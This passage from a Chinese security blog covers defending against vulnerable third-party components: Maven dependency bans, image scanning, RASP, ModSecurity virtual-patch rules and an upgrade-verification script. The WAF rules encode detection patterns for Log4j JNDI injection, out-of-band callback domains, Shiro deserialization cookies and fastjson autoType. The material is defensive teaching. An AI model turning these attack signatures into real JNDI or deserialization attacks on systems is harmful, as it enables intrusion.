              <!-- Shiro < 1.13.0 禁止 -->
              <exclude>org.apache.shiro:shiro-core:(,1.13.0)</exclude>
              <!-- 禁止 commons-collections(反序列化 gadget 温床)-->
              <exclude>commons-collections:commons-collections</exclude>
            </excludes>
          </bannedDependencies>

          <!-- 强制依赖版本收敛(避免同一组件多版本)-->
          <dependencyConvergence/>

          <!-- 禁止 SNAPSHOT 依赖进入生产构建 -->
          <requireReleaseDeps>
            <message>No Snapshots Allowed in Release!</message>
          </requireReleaseDeps>
        </rules>
      </configuration>
    </execution>
  </executions>
</plugin>

策略三:定期移除无用依赖

bash
# Node: 找出未使用的依赖
npx depcheck
npx npm-check-unused

# Python: 找出未使用的包
pip install pip-extra-reqs
pip-extra-reqs --requirements requirements.txt .

# Java: 分析未使用的依赖
mvn dependency:analyze
# 关注 "Unused declared dependencies" 部分

# 原则:每一个依赖都是一份攻击面,不用就删
# 一个典型的 Node 项目,node_modules 里 80% 的包是传递依赖,
# 而其中相当一部分根本没被任何代码路径使用

容器与运行时防护

容器镜像扫描

bash
# 构建时扫描镜像
trivy image --severity HIGH,CRITICAL --exit-code 1 myapp:latest

# 使用精简基础镜像,减少组件数量
# ❌ FROM ubuntu:latest          (几百个包,几万个 CVE 面)
# ✅ FROM alpine:3.19            (几十个包)
# ✅ FROM gcr.io/distroless/java17-debian12   (只有 JRE,无 shell)

# 多阶段构建,最终镜像只含运行时
# Dockerfile
FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /build
COPY pom.xml .
COPY src ./src
RUN mvn package -DskipTests

FROM gcr.io/distroless/java17-debian12
COPY --from=builder /build/target/app.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]
# 最终镜像不含 Maven、不含 JDK、不含 shell —— 攻击面极小

运行时防护(RASP)

bash
# RASP(运行时应用自我保护)可以在不升级组件的情况下阻断利用
# 原理:在 JVM/运行时层面插桩,检测并阻断恶意行为

# 开源方案:
#   - OpenRASP(百度开源,支持 Java/PHP)
#   - 商业方案:阿里云/腾讯云 RASP、Guardsquare、Contrast Security

# 以 OpenRASP 为例,安装 Java Agent
java -javaagent:/opt/rasp/rasp.jar -jar app.jar

# RASP 能拦住什么:
#   - Log4j JNDI 注入(拦截 lookup 调用)
#   - fastjson/Shiro 反序列化(拦截危险 gadget 链)
#   - SQL 注入、命令注入(在运行时层面检测)

📌 RASP 的定位:它是临时缓解手段,不是修复。Log4j 事件时,很多无法立即升级的系统靠 RASP 撑过了最危险的窗口期。但它有性能开销(通常 3-10%),且可能误判。最终还是要升级组件。

WAF 虚拟补丁:撑过升级前的窗口期

无法立即升级时,用 WAF 规则先拦住攻击流量:

apache
# ===== Log4j2 虚拟补丁(ModSecurity)=====
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_BODY \
    "@rx (?i)(\$|%24)({|%7b)[^}]{0,30}(j|%6a)(n|%6e)(d|%64)(i|%69)(:|%3a)" \
    "id:9006001,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Log4j JNDI Injection Attempt (CVE-2021-44228)',\
     tag:'OWASP-A06',\
     tag:'CVE-2021-44228',\
     severity:'CRITICAL'"

# 检测 DNSLog 域名特征(攻击者常用)
SecRule ARGS|REQUEST_HEADERS "@rx (?i)(dnslog|ceye|interactsh|requestbin|oastify|burpcollaborator)\.(cn|io|com|net)" \
    "id:9006002,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'OOB Testing Domain Detected',\
     tag:'OWASP-A06'"

# ===== Shiro 反序列化虚拟补丁 =====
# 检测 rememberMe 中出现 Java 序列化魔数(0xaced 即 rO0 开头)
SecRule REQUEST_COOKIES:rememberMe "@rx ^(rO0|aced)" \
    "id:9006003,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Java Serialized Object in Shiro rememberMe Cookie',\
     tag:'OWASP-A06',\
     tag:'CVE-2016-4437'"

# ===== fastjson @type 检测 =====
SecRule REQUEST_BODY "@rx \"@type\"\s*:" \
    "id:9006004,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Fastjson autoType Detected',\
     tag:'OWASP-A06'"

# ===== 常见 EXP 路径(Weblogic/Struts2 等)=====
SecRule REQUEST_URI "@rx (?i)(_async/AsyncResponseService|wls-wsat|uddiexplorer|\.action|\.do\?)" \
    "id:9006005,\
     phase:1,\
     log,\
     msg:'Known Vulnerable Component Endpoint Accessed',\
     tag:'OWASP-A06'"

回归验证(升级后的兼容性)

bash
#!/usr/bin/env bash
# 组件漏洞修复回归验证
# 用法: bash verify_components.sh /path/to/project

PROJECT="${1:-.}"
PASS=0; FAIL=0

echo "=========== 1. 依赖树重新生成 ==========="
if [ -f "$PROJECT/pom.xml" ]; then
    mvn -f "$PROJECT/pom.xml" dependency:tree > /tmp/deps_after.txt 2>/dev/null
elif [ -f "$PROJECT/package.json" ]; then
    (cd "$PROJECT" && npm list --all > /tmp/deps_after.txt 2>/dev/null)
elif [ -f "$PROJECT/requirements.txt" ]; then
    (cd "$PROJECT" && pipdeptree > /tmp/deps_after.txt 2>/dev/null)
fi
echo "依赖数: $(wc -l < /tmp/deps_after.txt)"

echo
echo "=========== 2. 确认目标组件已升级 ==========="
check_version() {
  # check_version <组件名> <最低安全版本> <说明>
  local comp="$1" minver="$2" desc="$3"
  local found
  found=$(grep -i "$comp" /tmp/deps_after.txt | head -3)
  if [ -z "$found" ]; then
    echo "[PASS] $desc: 未发现 $comp(已移除或不再依赖)"; PASS=$((PASS+1))
  else
    echo "[INFO] $desc: 发现依赖"
    echo "$found" | sed 's/^/       /'
    echo "       请人工确认版本 >= $minver"
  fi
}

check_version "log4j-core"  "2.17.1" "Log4j2"
check_version "fastjson"    "1.2.83" "fastjson"
check_version "shiro-core"  "1.13.0" "Shiro"
check_version "commons-collections" "3.2.2" "Commons Collections"

echo
echo "=========== 3. SCA 重新扫描 ==========="
if command -v trivy &> /dev/null; then
    trivy fs --severity CRITICAL,HIGH --exit-code 0 "$PROJECT" 2>/dev/null | tail -30
    # 统计
    crit=$(trivy fs --severity CRITICAL --format json "$PROJECT" 2>/dev/null \
           | jq '[.Results[].Vulnerabilities // [] | .[]] | length' 2>/dev/null || echo 0)
    if [ "$crit" = "0" ]; then
        echo "[PASS] 无 CRITICAL 级别组件漏洞"; PASS=$((PASS+1))
    else
        echo "[FAIL] 仍有 $crit 个 CRITICAL 漏洞"; FAIL=$((FAIL+1))
    fi
else
    echo "[SKIP] trivy 未安装"
fi

echo
echo "=========== 4. Nuclei CVE 扫描(需目标地址)==========="
if [ -n "${TARGET_URL:-}" ]; then
    nuclei -u "$TARGET_URL" -tags cve -severity critical,high \
           -rate-limit 20 -o /tmp/nuclei_after.txt 2>/dev/null
    if [ -s /tmp/nuclei_after.txt ]; then
        echo "[FAIL] Nuclei 仍检出问题:"; cat /tmp/nuclei_after.txt; FAIL=$((FAIL+1))
    else
        echo "[PASS] Nuclei 未检出 CVE"; PASS=$((PASS+1))
    fi
else
    echo "[SKIP] 未设置 TARGET_URL 环境变量"
fi

echo
echo "=========== 5. 功能回归(关键!)==========="
echo "组件升级可能破坏兼容性,必须跑完整测试套件:"
echo "  mvn test      /  npm test      /  pytest"
echo "并重点验证使用了升级组件的模块"

echo
echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"

回归验证的关键点(组件升级最容易出问题的地方)

1. 功能兼容性 —— 大版本升级可能有 breaking change
   - Log4j 1.x → 2.x:API 完全不兼容,配置文件格式也变了
   - Jackson 升级:序列化默认行为可能变化,导致接口返回结构改变

2. 性能影响 —— 某些升级会显著影响性能
   - Log4j 2.17 之后关闭了 lookup,如果有业务依赖 lookup 会失效

3. 行为变化 —— 安全修复往往改变默认行为
   - fastjson 开启 safeMode 后,依赖 autoType 的旧代码会报错
   - Shiro 更换密钥后,所有已登录用户的 rememberMe 失效(需要用户重新登录)

4. 灰度策略 —— 组件升级建议灰度
   - 先升级非核心服务,观察 1-2 天
   - 核心服务选择低峰期升级,准备好回滚方案

最后:删掉不用的依赖,比升级更彻底

A06 的本质是资产管理问题,不是技术问题。

你的代码可以写得完美无缺,但你引用的 200 个依赖里只要有一个有洞,攻击者就有路可走。而且——攻击者扫描组件漏洞的成本,比修复它的成本低几个数量级

四个必须建立的机制:

  1. SBOM —— 知道自己用了什么。这是所有后续工作的前提,没有 SBOM,应急时就是盲人摸象。
  2. CI 卡点 —— 新增依赖自动扫,高危漏洞进不来。
  3. 定期扫描 —— 每周定时全量扫(捕获新披露的 CVE),而不是等漏洞爆出来才查。
  4. 升级机制 —— Dependabot/Renovate 自动提 PR,有测试保障就能快速合。

几个实战经验:

  • Log4j 的教训:排查时一定要扫依赖树和内嵌 jar,不能只搜文件名。
  • SCA 误报很多:用"可达性分析"过滤 —— 有洞的函数你真的调用了吗?
  • 升级前先灰度:组件升级的兼容性风险往往比漏洞本身更让人头疼。
  • 临时方案:RASP + WAF 虚拟补丁可以撑过窗口期,但最终还是要升级。
  • 供应链投毒是新兴威胁:装包前核对名字、作者、下载量、发布时间。

最后一句:你依赖的每一个包,都是你攻击面的一部分。删掉不用的,比升级更彻底。


⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动